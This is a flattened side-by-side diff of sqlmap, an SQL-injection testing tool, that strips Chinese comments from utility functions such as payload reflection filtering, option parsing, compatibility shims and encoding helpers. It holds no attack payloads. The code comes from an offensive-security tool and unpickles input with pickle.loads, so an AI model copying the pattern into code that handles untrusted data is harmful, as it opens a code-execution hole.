_ = re.sub(r'File ".+?/(\w+\.py)', r"\g<1>", _) _ = re.sub(r'File ".+?/(\w+\.py)', r"\g<1>", _)
@ -4059,14 +3968,11 @@ def createGithubIssue(errMsg, excMsg):
_ = re.sub(r"(Unicode[^:]*Error:).+", r"\g<1>", _) _ = re.sub(r"(Unicode[^:]*Error:).+", r"\g<1>", _)
_ = re.sub(r"= _", "= ", _) _ = re.sub(r"= _", "= ", _)
# 计算异常信息的MD5值并取前8位作为key
key = hashlib.md5(getBytes(_)).hexdigest()[:8] key = hashlib.md5(getBytes(_)).hexdigest()[:8]
# 如果key已经在已创建的Github issue列表中则返回
if key in issues: if key in issues:
return return
# 提示用户是否要自动创建一个新的Github issue
msg = "\ndo you want to automatically create a new (anonymized) issue " msg = "\ndo you want to automatically create a new (anonymized) issue "
msg += "with the unhandled exception information at " msg += "with the unhandled exception information at "
msg += "the official Github repository? [y/N] " msg += "the official Github repository? [y/N] "
@ -4075,12 +3981,10 @@ def createGithubIssue(errMsg, excMsg):
except: except:
choice = None choice = None
# 如果用户选择创建新的Github issue则进行后续操作
if choice: if choice:
_excMsg = None _excMsg = None
errMsg = errMsg[errMsg.find("\n"):] errMsg = errMsg[errMsg.find("\n"):]
# 构造请求查询是否已存在相同的Github issue
req = _urllib.request.Request(url="https://api.github.com/search/issues?q=%s" % _urllib.parse.quote("repo:sqlmapproject/sqlmap Unhandled exception (#%s)" % key), headers={HTTP_HEADER.USER_AGENT: fetchRandomAgent()}) req = _urllib.request.Request(url="https://api.github.com/search/issues?q=%s" % _urllib.parse.quote("repo:sqlmapproject/sqlmap Unhandled exception (#%s)" % key), headers={HTTP_HEADER.USER_AGENT: fetchRandomAgent()})
try: try:
@ -4167,11 +4071,9 @@ def listToStrValue(value):
'1, 2, 3' '1, 2, 3'
""" """
# 如果value是set、tuple或types.GeneratorType类型将其转换为list
if isinstance(value, (set, tuple, types.GeneratorType)): if isinstance(value, (set, tuple, types.GeneratorType)):
value = list(value) value = list(value)
# 如果value是list类型将其转换为字符串并去掉首尾的方括号
if isinstance(value, list): if isinstance(value, list):
retVal = value.__str__().lstrip('[').rstrip(']') retVal = value.__str__().lstrip('[').rstrip(']')
else: else:
@ -4244,97 +4146,62 @@ def removeReflectiveValues(content, payload, suppressWarning=False):
value = value.replace(2 * REFLECTED_REPLACEMENT_REGEX, REFLECTED_REPLACEMENT_REGEX) value = value.replace(2 * REFLECTED_REPLACEMENT_REGEX, REFLECTED_REPLACEMENT_REGEX)
return value return value
# 将payload中的PAYLOAD_DELIMITER替换为空字符串并使用urldecode解码然后使用getUnicode转换为Unicode编码
payload = getUnicode(urldecode(payload.replace(PAYLOAD_DELIMITER, ""), convall=True)) payload = getUnicode(urldecode(payload.replace(PAYLOAD_DELIMITER, ""), convall=True))
# 使用filterStringValue函数过滤payload中的字符串并使用encodeStringEscape函数进行编码然后使用_函数进行转换
regex = _(filterStringValue(payload, r"[A-Za-z0-9]", encodeStringEscape(REFLECTED_REPLACEMENT_REGEX))) regex = _(filterStringValue(payload, r"[A-Za-z0-9]", encodeStringEscape(REFLECTED_REPLACEMENT_REGEX)))
# 如果regex不等于payload
if regex != payload: if regex != payload:
# 使用filterNone函数过滤regex中的空字符串并使用REFLECTED_REPLACEMENT_REGEX进行分割然后使用all函数检查分割后的字符串是否都在content中
if all(part.lower() in content.lower() for part in filterNone(regex.split(REFLECTED_REPLACEMENT_REGEX))[1:]): # fast optimization check if all(part.lower() in content.lower() for part in filterNone(regex.split(REFLECTED_REPLACEMENT_REGEX))[1:]): # fast optimization check
# 使用REFLECTED_REPLACEMENT_REGEX进行分割
parts = regex.split(REFLECTED_REPLACEMENT_REGEX) parts = regex.split(REFLECTED_REPLACEMENT_REGEX)
# Note: naive approach # Note: naive approach
# 将content中的payload替换为REFLECTED_VALUE_MARKER
retVal = content.replace(payload, REFLECTED_VALUE_MARKER) retVal = content.replace(payload, REFLECTED_VALUE_MARKER)
# 将content中的payload的开头替换为REFLECTED_VALUE_MARKER
retVal = retVal.replace(re.sub(r"\A\w+", "", payload), REFLECTED_VALUE_MARKER) retVal = retVal.replace(re.sub(r"\A\w+", "", payload), REFLECTED_VALUE_MARKER)
# 如果分割后的字符串长度大于REFLECTED_MAX_REGEX_PARTS
if len(parts) > REFLECTED_MAX_REGEX_PARTS: # preventing CPU hogs if len(parts) > REFLECTED_MAX_REGEX_PARTS: # preventing CPU hogs
# 使用REFLECTED_REPLACEMENT_REGEX进行分割并使用join函数进行连接
regex = _("%s%s%s" % (REFLECTED_REPLACEMENT_REGEX.join(parts[:REFLECTED_MAX_REGEX_PARTS // 2]), REFLECTED_REPLACEMENT_REGEX, REFLECTED_REPLACEMENT_REGEX.join(parts[-REFLECTED_MAX_REGEX_PARTS // 2:]))) regex = _("%s%s%s" % (REFLECTED_REPLACEMENT_REGEX.join(parts[:REFLECTED_MAX_REGEX_PARTS // 2]), REFLECTED_REPLACEMENT_REGEX, REFLECTED_REPLACEMENT_REGEX.join(parts[-REFLECTED_MAX_REGEX_PARTS // 2:])))
# 使用filterNone函数过滤regex中的空字符串并使用REFLECTED_REPLACEMENT_REGEX进行分割
parts = filterNone(regex.split(REFLECTED_REPLACEMENT_REGEX)) parts = filterNone(regex.split(REFLECTED_REPLACEMENT_REGEX))
# 如果regex以REFLECTED_REPLACEMENT_REGEX开头
if regex.startswith(REFLECTED_REPLACEMENT_REGEX): if regex.startswith(REFLECTED_REPLACEMENT_REGEX):
# 使用REFLECTED_BORDER_REGEX和regex[len(REFLECTED_REPLACEMENT_REGEX):]进行连接
regex = r"%s%s" % (REFLECTED_BORDER_REGEX, regex[len(REFLECTED_REPLACEMENT_REGEX):]) regex = r"%s%s" % (REFLECTED_BORDER_REGEX, regex[len(REFLECTED_REPLACEMENT_REGEX):])
else: else:
# 使用\b和regex进行连接
regex = r"\b%s" % regex regex = r"\b%s" % regex
# 如果regex以REFLECTED_REPLACEMENT_REGEX结尾
if regex.endswith(REFLECTED_REPLACEMENT_REGEX): if regex.endswith(REFLECTED_REPLACEMENT_REGEX):
# 使用regex[:-len(REFLECTED_REPLACEMENT_REGEX)]和REFLECTED_BORDER_REGEX进行连接
regex = r"%s%s" % (regex[:-len(REFLECTED_REPLACEMENT_REGEX)], REFLECTED_BORDER_REGEX) regex = r"%s%s" % (regex[:-len(REFLECTED_REPLACEMENT_REGEX)], REFLECTED_BORDER_REGEX)
else: else:
# 使用regex和\b进行连接
regex = r"%s\b" % regex regex = r"%s\b" % regex
# 创建一个列表用于存储retVal
_retVal = [retVal] _retVal = [retVal]
# 定义一个函数用于替换retVal中的regex
def _thread(regex): def _thread(regex):
try: try:
# 使用re.sub函数替换retVal中的regex并使用REFLECTED_VALUE_MARKER进行替换
_retVal[0] = re.sub(r"(?i)%s" % regex, REFLECTED_VALUE_MARKER, _retVal[0]) _retVal[0] = re.sub(r"(?i)%s" % regex, REFLECTED_VALUE_MARKER, _retVal[0])
# 如果分割后的字符串长度大于2
if len(parts) > 2: if len(parts) > 2:
# 使用REFLECTED_REPLACEMENT_REGEX进行分割并使用join函数进行连接
regex = REFLECTED_REPLACEMENT_REGEX.join(parts[1:]) regex = REFLECTED_REPLACEMENT_REGEX.join(parts[1:])
# 使用re.sub函数替换retVal中的regex并使用REFLECTED_VALUE_MARKER进行替换
_retVal[0] = re.sub(r"(?i)\b%s\b" % regex, REFLECTED_VALUE_MARKER, _retVal[0]) _retVal[0] = re.sub(r"(?i)\b%s\b" % regex, REFLECTED_VALUE_MARKER, _retVal[0])
except KeyboardInterrupt: except KeyboardInterrupt:
raise raise
except: except:
pass pass
# 创建一个线程用于执行_thread函数
thread = threading.Thread(target=_thread, args=(regex,)) thread = threading.Thread(target=_thread, args=(regex,))
# 设置线程为守护线程
thread.daemon = True thread.daemon = True
# 启动线程
thread.start() thread.start()
# 等待线程执行完毕超时时间为REFLECTED_REPLACEMENT_TIMEOUT
thread.join(REFLECTED_REPLACEMENT_TIMEOUT) thread.join(REFLECTED_REPLACEMENT_TIMEOUT)
# 如果线程还在运行
if thread.is_alive(): if thread.is_alive():
# 将kb.reflectiveMechanism设置为False
kb.reflectiveMechanism = False kb.reflectiveMechanism = False
# 将retVal设置为content
retVal = content retVal = content
# 如果不抑制警告
if not suppressWarning: if not suppressWarning:
# 打印debugMsg
debugMsg = "turning off reflection removal mechanism (because of timeouts)" debugMsg = "turning off reflection removal mechanism (because of timeouts)"
logger.debug(debugMsg) logger.debug(debugMsg)
else: else:
# 将retVal设置为_retVal[0]
retVal = _retVal[0] retVal = _retVal[0]
# 如果retVal不等于content
if retVal != content: if retVal != content:
# 将kb.reflectiveCounters[REFLECTIVE_COUNTER.HIT]加1
kb.reflectiveCounters[REFLECTIVE_COUNTER.HIT] += 1 kb.reflectiveCounters[REFLECTIVE_COUNTER.HIT] += 1
# 如果不抑制警告
if not suppressWarning: if not suppressWarning:
warnMsg = "reflective value(s) found and filtering out" warnMsg = "reflective value(s) found and filtering out"
singleTimeWarnMessage(warnMsg) singleTimeWarnMessage(warnMsg)
@ -4500,7 +4367,6 @@ def isNullValue(value):
False False
""" """
# 判断value是否具有upper()方法并且value的大写等于NULL
return hasattr(value, "upper") and value.upper() == NULL return hasattr(value, "upper") and value.upper() == NULL
def expandMnemonics(mnemonics, parser, args): def expandMnemonics(mnemonics, parser, args):
@ -4508,23 +4374,19 @@ def expandMnemonics(mnemonics, parser, args):
Expands mnemonic options Expands mnemonic options
""" """
# 定义一个MnemonicNode类用于存储选项
class MnemonicNode(object): class MnemonicNode(object):
def __init__(self): def __init__(self):
self.next = {} self.next = {}
self.current = [] self.current = []
# 初始化头节点和指针
head = MnemonicNode() head = MnemonicNode()
pointer = None pointer = None
# 遍历parser中的option_groups
for group in parser.option_groups: for group in parser.option_groups:
for option in group.option_list: for option in group.option_list:
for opt in option._long_opts + option._short_opts: for opt in option._long_opts + option._short_opts:
pointer = head pointer = head
# 遍历opt中的每个字符
for char in opt: for char in opt:
if char == "-": if char == "-":
continue continue
@ -4534,14 +4396,12 @@ def expandMnemonics(mnemonics, parser, args):
pointer = pointer.next[char] pointer = pointer.next[char]
pointer.current.append(option) pointer.current.append(option)
# 遍历mnemonics中的每个选项
for mnemonic in (mnemonics or "").split(','): for mnemonic in (mnemonics or "").split(','):
found = None found = None
name = mnemonic.split('=')[0].replace('-', "").strip() name = mnemonic.split('=')[0].replace('-', "").strip()
value = mnemonic.split('=')[1] if len(mnemonic.split('=')) > 1 else None value = mnemonic.split('=')[1] if len(mnemonic.split('=')) > 1 else None
pointer = head pointer = head
# 遍历name中的每个字符
for char in name: for char in name:
if char in pointer.next: if char in pointer.next:
pointer = pointer.next[char] pointer = pointer.next[char]
@ -4549,12 +4409,10 @@ def expandMnemonics(mnemonics, parser, args):
pointer = None pointer = None
break break
# 如果pointer为None或head则抛出异常
if pointer in (None, head): if pointer in (None, head):
errMsg = "mnemonic '%s' can't be resolved to any parameter name" % name errMsg = "mnemonic '%s' can't be resolved to any parameter name" % name
raise SqlmapSyntaxException(errMsg) raise SqlmapSyntaxException(errMsg)
# 如果pointer.current的长度大于1则说明有多个选项需要进行解析
elif len(pointer.current) > 1: elif len(pointer.current) > 1:
options = {} options = {}
@ -4564,32 +4422,26 @@ def expandMnemonics(mnemonics, parser, args):
if opt.startswith(name): if opt.startswith(name):
options[opt] = option options[opt] = option
# 如果options为空则说明没有找到对应的选项进行警告
if not options: if not options:
warnMsg = "mnemonic '%s' can't be resolved" % name warnMsg = "mnemonic '%s' can't be resolved" % name
logger.warning(warnMsg) logger.warning(warnMsg)
# 如果name在options中则说明找到了对应的选项进行调试
elif name in options: elif name in options:
found = name found = name
debugMsg = "mnemonic '%s' resolved to %s). " % (name, found) debugMsg = "mnemonic '%s' resolved to %s). " % (name, found)
logger.debug(debugMsg) logger.debug(debugMsg)
# 否则,说明有多个选项,进行警告,并选择最短的选项
else: else:
found = sorted(options.keys(), key=len)[0] found = sorted(options.keys(), key=len)[0]
warnMsg = "detected ambiguity (mnemonic '%s' can be resolved to any of: %s). " % (name, ", ".join("'%s'" % key for key in options)) warnMsg = "detected ambiguity (mnemonic '%s' can be resolved to any of: %s). " % (name, ", ".join("'%s'" % key for key in options))
warnMsg += "Resolved to shortest of those ('%s')" % found warnMsg += "Resolved to shortest of those ('%s')" % found
logger.warning(warnMsg) logger.warning(warnMsg)
# 如果找到了对应的选项,则进行赋值
if found: if found:
found = options[found] found = options[found]
# 如果pointer.current的长度等于1则说明只有一个选项进行调试
else: else:
found = pointer.current[0] found = pointer.current[0]
debugMsg = "mnemonic '%s' resolved to %s). " % (name, found) debugMsg = "mnemonic '%s' resolved to %s). " % (name, found)
logger.debug(debugMsg) logger.debug(debugMsg)
# 如果找到了对应的选项,则进行赋值
if found: if found:
try: try:
value = found.convert_value(found, value) value = found.convert_value(found, value)
@ -4616,18 +4468,13 @@ def safeCSValue(value):
'foobar' 'foobar'
""" """
# 初始化返回值
retVal = value retVal = value
# 如果value不为空并且是字符串类型
if retVal and isinstance(retVal, six.string_types): if retVal and isinstance(retVal, six.string_types):
# 如果value的第一个字符和最后一个字符不是双引号并且value中包含csv分隔符、双引号或换行符
if not (retVal[0] == retVal[-1] == '"'): if not (retVal[0] == retVal[-1] == '"'):
if any(_ in retVal for _ in (conf.get("csvDel", defaults.csvDel), '"', '\n')): if any(_ in retVal for _ in (conf.get("csvDel", defaults.csvDel), '"', '\n')):
# 将value中的双引号替换为两个双引号并在value的两端加上双引号
retVal = '"%s"' % retVal.replace('"', '""') retVal = '"%s"' % retVal.replace('"', '""')
# 返回处理后的value
return retVal return retVal
def filterPairValues(values): def filterPairValues(values):
@ -4638,15 +4485,11 @@ def filterPairValues(values):
[[1, 2], [4, 5]] [[1, 2], [4, 5]]
""" """
# 初始化返回值
retVal = [] retVal = []
# 如果values不为空并且是可迭代的
if not isNoneValue(values) and hasattr(values, '__iter__'): if not isNoneValue(values) and hasattr(values, '__iter__'):
# 遍历values中的每个value
retVal = [value for value in values if isinstance(value, (tuple, list, set)) and len(value) == 2] retVal = [value for value in values if isinstance(value, (tuple, list, set)) and len(value) == 2]
# 返回处理后的values
return retVal return retVal
def randomizeParameterValue(value): def randomizeParameterValue(value):
@ -5674,7 +5517,6 @@ def unsafeVariableNaming(value):
True True
""" """
# 如果value以EVALCODE_ENCODED_PREFIX开头则解码value
if value.startswith(EVALCODE_ENCODED_PREFIX): if value.startswith(EVALCODE_ENCODED_PREFIX):
value = decodeHex(value[len(EVALCODE_ENCODED_PREFIX):], binary=False) value = decodeHex(value[len(EVALCODE_ENCODED_PREFIX):], binary=False)
@ -5690,7 +5532,6 @@ def firstNotNone(*args):
retVal = None retVal = None
# 遍历args找到第一个不为None的值
for _ in args: for _ in args:
if _ is not None: if _ is not None:
retVal = _ retVal = _
@ -5708,7 +5549,6 @@ def removePostHintPrefix(value):
'id' 'id'
""" """
# 使用正则表达式去除value中的POST提示前缀
return re.sub(r"\A(%s) " % '|'.join(re.escape(__) for __ in getPublicTypeMembers(POST_HINT, onlyValues=True)), "", value) return re.sub(r"\A(%s) " % '|'.join(re.escape(__) for __ in getPublicTypeMembers(POST_HINT, onlyValues=True)), "", value)
def chunkSplitPostData(data): def chunkSplitPostData(data):

@ -167,13 +167,9 @@ class WichmannHill(random.Random):
self.__whseed(x, y, z) self.__whseed(x, y, z)
def patchHeaders(headers): def patchHeaders(headers):
# 如果headers不为空且没有headers属性
if headers is not None and not hasattr(headers, "headers"): if headers is not None and not hasattr(headers, "headers"):
# 如果headers是字典类型
if isinstance(headers, dict): if isinstance(headers, dict):
# 定义一个类,继承自字典
class _(dict): class _(dict):
# 重写__getitem__方法将key转换为小写后进行比较
def __getitem__(self, key): def __getitem__(self, key):
for key_ in self: for key_ in self:
if key_.lower() == key.lower(): if key_.lower() == key.lower():
@ -181,17 +177,14 @@ def patchHeaders(headers):
raise KeyError(key) raise KeyError(key)
# 重写get方法如果key不存在返回默认值
def get(self, key, default=None): def get(self, key, default=None):
try: try:
return self[key] return self[key]
except KeyError: except KeyError:
return default return default
# 将headers转换为_类
headers = _(headers) headers = _(headers)
# 将headers转换为字符串列表
headers.headers = ["%s: %s\r\n" % (header, headers[header]) for header in headers] headers.headers = ["%s: %s\r\n" % (header, headers[header]) for header in headers]
return headers return headers
@ -204,13 +197,10 @@ def cmp(a, b):
1 1
""" """
# 如果a小于b返回-1
if a < b: if a < b:
return -1 return -1
# 如果a大于b返回1
elif a > b: elif a > b:
return 1 return 1
# 如果a等于b返回0
else: else:
return 0 return 0
@ -221,17 +211,13 @@ def choose_boundary():
True True
""" """
# 定义一个空字符串
retval = "" retval = ""
# 尝试生成一个32位的随机字符串
try: try:
retval = uuid.uuid4().hex retval = uuid.uuid4().hex
# 如果uuid模块不存在则使用random模块生成32位的随机字符串
except AttributeError: except AttributeError:
retval = "".join(random.sample("0123456789abcdef", 1)[0] for _ in xrange(32)) retval = "".join(random.sample("0123456789abcdef", 1)[0] for _ in xrange(32))
# 返回生成的32位随机字符串
return retval return retval
# Reference: http://python3porting.com/differences.html # Reference: http://python3porting.com/differences.html
@ -259,47 +245,36 @@ def cmp_to_key(mycmp):
self.obj = obj self.obj = obj
def __lt__(self, other): def __lt__(self, other):
"""小于号比较"""
return mycmp(self.obj, other.obj) < 0 return mycmp(self.obj, other.obj) < 0
def __gt__(self, other): def __gt__(self, other):
"""大于号比较"""
return mycmp(self.obj, other.obj) > 0 return mycmp(self.obj, other.obj) > 0
def __eq__(self, other): def __eq__(self, other):
"""等于号比较"""
return mycmp(self.obj, other.obj) == 0 return mycmp(self.obj, other.obj) == 0
def __le__(self, other): def __le__(self, other):
"""小于等于号比较"""
return mycmp(self.obj, other.obj) <= 0 return mycmp(self.obj, other.obj) <= 0
def __ge__(self, other): def __ge__(self, other):
"""大于等于号比较"""
return mycmp(self.obj, other.obj) >= 0 return mycmp(self.obj, other.obj) >= 0
def __ne__(self, other): def __ne__(self, other):
"""不等于号比较"""
return mycmp(self.obj, other.obj) != 0 return mycmp(self.obj, other.obj) != 0
def __hash__(self): def __hash__(self):
"""哈希函数"""
raise TypeError('hash not implemented') raise TypeError('hash not implemented')
return K return K
# Note: patch for Python 2.6 # Note: patch for Python 2.6
if not hasattr(functools, "cmp_to_key"): if not hasattr(functools, "cmp_to_key"):
# 如果functools模块中没有cmp_to_key函数则定义cmp_to_key函数
functools.cmp_to_key = cmp_to_key functools.cmp_to_key = cmp_to_key
if sys.version_info >= (3, 0): if sys.version_info >= (3, 0):
# 如果Python版本大于等于3.0则将xrange函数替换为range函数
xrange = range xrange = range
# 将buffer函数替换为memoryview函数
buffer = memoryview buffer = memoryview
else: else:
# 如果Python版本小于3.0则保持xrange和buffer函数不变
xrange = xrange xrange = xrange
buffer = buffer buffer = buffer
@ -323,26 +298,17 @@ def LooseVersion(version):
8.000022 8.000022
""" """
# 使用正则表达式匹配版本号
match = re.search(r"\A(\d[\d.]*)", version or "") match = re.search(r"\A(\d[\d.]*)", version or "")
if match: if match:
# 如果匹配成功则将result初始化为0
result = 0 result = 0
# 获取匹配到的第一个分组
value = match.group(1) value = match.group(1)
# 将权重初始化为1.0
weight = 1.0 weight = 1.0
# 将value去掉首尾的.,并按.分割成多个部分
for part in value.strip('.').split('.'): for part in value.strip('.').split('.'):
# 如果部分是数字则将其转换为整数并乘以权重加到result中
if part.isdigit(): if part.isdigit():
result += int(part) * weight result += int(part) * weight
# 将权重乘以0.001
weight *= 1e-3 weight *= 1e-3
else: else:
# 如果匹配不成功则将result设置为NaN
result = float("NaN") result = float("NaN")
# 返回result
return result return result

@ -5,38 +5,34 @@ Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/)
See the file 'LICENSE' for copying permission See the file 'LICENSE' for copying permission
""" """
# 尝试导入cPickle(一个更快的pickle实现),如果失败则导入普通的pickle
try: try:
import cPickle as pickle import cPickle as pickle
except: except:
import pickle import pickle
# 导入所需的标准库 import base64
import base64 # 用于Base64编码/解码 import binascii
import binascii # 用于二进制和ASCII转换 import codecs
import codecs # 用于编码转换 import json
import json # 用于JSON处理 import re
import re # 用于正则表达式 import sys
import sys # 用于系统相关操作 import time
import time # 用于时间相关操作
from lib.core.bigarray import BigArray
# 导入自定义模块和第三方库 from lib.core.compat import xrange
from lib.core.bigarray import BigArray # 用于处理大型数组 from lib.core.data import conf
from lib.core.compat import xrange # 兼容Python2/3的range函数 from lib.core.data import kb
from lib.core.data import conf # 配置数据 from lib.core.settings import INVALID_UNICODE_PRIVATE_AREA
from lib.core.data import kb # 知识库数据 from lib.core.settings import IS_TTY
from lib.core.settings import INVALID_UNICODE_PRIVATE_AREA # Unicode私有区域设置 from lib.core.settings import IS_WIN
from lib.core.settings import IS_TTY # 是否为终端环境 from lib.core.settings import NULL
from lib.core.settings import IS_WIN # 是否为Windows系统 from lib.core.settings import PICKLE_PROTOCOL
from lib.core.settings import NULL # 空值常量 from lib.core.settings import SAFE_HEX_MARKER
from lib.core.settings import PICKLE_PROTOCOL # pickle协议版本 from lib.core.settings import UNICODE_ENCODING
from lib.core.settings import SAFE_HEX_MARKER # 安全的十六进制标记 from thirdparty import six
from lib.core.settings import UNICODE_ENCODING # Unicode编码设置 from thirdparty.six import unichr as _unichr
from thirdparty import six # Python 2/3兼容库 from thirdparty.six.moves import collections_abc as _collections
from thirdparty.six import unichr as _unichr # 兼容的unichr函数
from thirdparty.six.moves import collections_abc as _collections # 集合类型
# 尝试导入HTML转义函数,适配不同Python版本
try: try:
from html import escape as htmlEscape from html import escape as htmlEscape
except ImportError: except ImportError:
@ -44,14 +40,8 @@ except ImportError:
def base64pickle(value): def base64pickle(value):
""" """
将输入值序列化(使用pickle)并编码为Base64格式 Serializes (with pickle) and encodes to Base64 format supplied (binary) value
参数:
value: 要序列化和编码的值
返回:
Base64编码的字符串
示例:
>>> base64unpickle(base64pickle([1, 2, 3])) == [1, 2, 3] >>> base64unpickle(base64pickle([1, 2, 3])) == [1, 2, 3]
True True
""" """
@ -59,33 +49,23 @@ def base64pickle(value):
retVal = None retVal = None
try: try:
# 尝试使用指定协议进行pickle序列化,然后Base64编码
retVal = encodeBase64(pickle.dumps(value, PICKLE_PROTOCOL), binary=False) retVal = encodeBase64(pickle.dumps(value, PICKLE_PROTOCOL), binary=False)
except: except:
# 如果失败,发出警告
warnMsg = "problem occurred while serializing " warnMsg = "problem occurred while serializing "
warnMsg += "instance of a type '%s'" % type(value) warnMsg += "instance of a type '%s'" % type(value)
singleTimeWarnMessage(warnMsg) singleTimeWarnMessage(warnMsg)
try: try:
# 尝试不指定协议进行序列化
retVal = encodeBase64(pickle.dumps(value), binary=False) retVal = encodeBase64(pickle.dumps(value), binary=False)
except: except:
# 如果还是失败,则将值转为字符串后再序列化
retVal = encodeBase64(pickle.dumps(str(value), PICKLE_PROTOCOL), binary=False) retVal = encodeBase64(pickle.dumps(str(value), PICKLE_PROTOCOL), binary=False)
return retVal return retVal
def base64unpickle(value): def base64unpickle(value):
""" """
将Base64编码的值解码并反序列化(使用pickle) Decodes value from Base64 to plain format and deserializes (with pickle) its content
参数:
value: Base64编码的字符串
返回:
反序列化后的Python对象
示例:
>>> type(base64unpickle('gAJjX19idWlsdGluX18Kb2JqZWN0CnEBKYFxAi4=')) == object >>> type(base64unpickle('gAJjX19idWlsdGluX18Kb2JqZWN0CnEBKYFxAi4=')) == object
True True
""" """
@ -93,24 +73,16 @@ def base64unpickle(value):
retVal = None retVal = None
try: try:
# 尝试解码并反序列化
retVal = pickle.loads(decodeBase64(value)) retVal = pickle.loads(decodeBase64(value))
except TypeError: except TypeError:
# 如果失败,尝试将输入转换为bytes后再处理
retVal = pickle.loads(decodeBase64(bytes(value))) retVal = pickle.loads(decodeBase64(bytes(value)))
return retVal return retVal
def htmlUnescape(value): def htmlUnescape(value):
""" """
将HTML转义的字符转换回原始字符 Returns (basic conversion) HTML unescaped value
参数:
value: 包含HTML转义字符的字符串
返回:
转换后的字符串
示例:
>>> htmlUnescape('a&lt;b') == 'a<b' >>> htmlUnescape('a&lt;b') == 'a<b'
True True
""" """
@ -118,56 +90,35 @@ def htmlUnescape(value):
retVal = value retVal = value
if value and isinstance(value, six.string_types): if value and isinstance(value, six.string_types):
# 定义HTML转义字符的替换规则
replacements = (("&lt;", '<'), ("&gt;", '>'), ("&quot;", '"'), ("&nbsp;", ' '), ("&amp;", '&'), ("&apos;", "'")) replacements = (("&lt;", '<'), ("&gt;", '>'), ("&quot;", '"'), ("&nbsp;", ' '), ("&amp;", '&'), ("&apos;", "'"))
# 逐个替换HTML转义字符
for code, value in replacements: for code, value in replacements:
retVal = retVal.replace(code, value) retVal = retVal.replace(code, value)
try: try:
# 处理十六进制格式的HTML实体(如&#x41;)
retVal = re.sub(r"&#x([^ ;]+);", lambda match: _unichr(int(match.group(1), 16)), retVal) retVal = re.sub(r"&#x([^ ;]+);", lambda match: _unichr(int(match.group(1), 16)), retVal)
except (ValueError, OverflowError): except (ValueError, OverflowError):
pass pass
return retVal return retVal
def singleTimeWarnMessage(message): # 交叉引用的函数 def singleTimeWarnMessage(message): # Cross-referenced function
"""
向标准输出打印一次性警告消息
"""
sys.stdout.write(message) sys.stdout.write(message)
sys.stdout.write("\n") sys.stdout.write("\n")
sys.stdout.flush() sys.stdout.flush()
def filterNone(values): # 交叉引用的函数 def filterNone(values): # Cross-referenced function
"""
过滤掉可迭代对象中的None值
"""
return [_ for _ in values if _] if isinstance(values, _collections.Iterable) else values return [_ for _ in values if _] if isinstance(values, _collections.Iterable) else values
def isListLike(value): # 交叉引用的函数 def isListLike(value): # Cross-referenced function
"""
判断一个值是否类似列表(list, tuple, set或BigArray)
"""
return isinstance(value, (list, tuple, set, BigArray)) return isinstance(value, (list, tuple, set, BigArray))
def shellExec(cmd): # 交叉引用的函数 def shellExec(cmd): # Cross-referenced function
"""
执行shell命令(未实现)
"""
raise NotImplementedError raise NotImplementedError
def jsonize(data): def jsonize(data):
""" """
将数据序列化为JSON格式 Returns JSON serialized data
参数:
data: 要序列化的数据
返回:
JSON字符串
示例:
>>> jsonize({'foo':'bar'}) >>> jsonize({'foo':'bar'})
'{\\n "foo": "bar"\\n}' '{\\n "foo": "bar"\\n}'
""" """
@ -176,14 +127,8 @@ def jsonize(data):
def dejsonize(data): def dejsonize(data):
""" """
将JSON字符串反序列化为Python对象 Returns JSON deserialized data
参数:
data: JSON字符串
返回:
Python对象
示例:
>>> dejsonize('{\\n "foo": "bar"\\n}') == {u'foo': u'bar'} >>> dejsonize('{\\n "foo": "bar"\\n}') == {u'foo': u'bar'}
True True
""" """
@ -192,42 +137,25 @@ def dejsonize(data):
def rot13(data): def rot13(data):
""" """
对文本进行ROT13编码/解码 Returns ROT13 encoded/decoded text
ROT13是一种简单的替换密码,将字母移动13位
参数:
data: 要编码/解码的文本
返回:
编码/解码后的文本
示例:
>>> rot13('foobar was here!!') >>> rot13('foobar was here!!')
'sbbone jnf urer!!' 'sbbone jnf urer!!'
>>> rot13('sbbone jnf urer!!') >>> rot13('sbbone jnf urer!!')
'foobar was here!!' 'foobar was here!!'
""" """
# 参考: https://stackoverflow.com/a/62662878 # Reference: https://stackoverflow.com/a/62662878
retVal = "" retVal = ""
# 创建字母表(包含小写和大写字母各重复一次,用于13位移动)
alphabit = "abcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZABCDEFGHIJKLMNOPQRSTUVWXYZ" alphabit = "abcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZABCDEFGHIJKLMNOPQRSTUVWXYZ"
# 对每个字符进行处理
for char in data: for char in data:
# 如果是字母则移动13位,否则保持不变
retVal += alphabit[alphabit.index(char) + 13] if char in alphabit else char retVal += alphabit[alphabit.index(char) + 13] if char in alphabit else char
return retVal return retVal
def decodeHex(value, binary=True): def decodeHex(value, binary=True):
""" """
将十六进制值解码为原始形式 Returns a decoded representation of provided hexadecimal value
参数:
value: 十六进制字符串
binary: 是否返回二进制格式
返回:
解码后的值
示例:
>>> decodeHex("313233") == b"123" >>> decodeHex("313233") == b"123"
True True
>>> decodeHex("313233", binary=False) == u"123" >>> decodeHex("313233", binary=False) == u"123"
@ -236,22 +164,17 @@ def decodeHex(value, binary=True):
retVal = value retVal = value
# 如果输入是二进制格式,转换为文本
if isinstance(value, six.binary_type): if isinstance(value, six.binary_type):
value = getText(value) value = getText(value)
# 如果以"0x"开头,去掉这个前缀
if value.lower().startswith("0x"): if value.lower().startswith("0x"):
value = value[2:] value = value[2:]
try: try:
# 尝试使用codecs解码
retVal = codecs.decode(value, "hex") retVal = codecs.decode(value, "hex")
except LookupError: except LookupError:
# 如果失败,使用binascii解码
retVal = binascii.unhexlify(value) retVal = binascii.unhexlify(value)
# 如果不需要二进制格式,转换为文本
if not binary: if not binary:
retVal = getText(retVal) retVal = getText(retVal)
@ -259,15 +182,8 @@ def decodeHex(value, binary=True):
def encodeHex(value, binary=True): def encodeHex(value, binary=True):
""" """
将值编码为十六进制格式 Returns a encoded representation of provided string value
参数:
value: 要编码的值
binary: 是否返回二进制格式
返回:
十六进制编码的值
示例:
>>> encodeHex(b"123") == b"313233" >>> encodeHex(b"123") == b"313233"
True True
>>> encodeHex("123", binary=False) >>> encodeHex("123", binary=False)
@ -276,22 +192,17 @@ def encodeHex(value, binary=True):
True True
""" """
# 如果是整数,转换为Unicode字符
if isinstance(value, int): if isinstance(value, int):
value = six.unichr(value) value = six.unichr(value)
# 如果是Unicode字符串,编码为bytes
if isinstance(value, six.text_type): if isinstance(value, six.text_type):
value = value.encode(UNICODE_ENCODING) value = value.encode(UNICODE_ENCODING)
try: try:
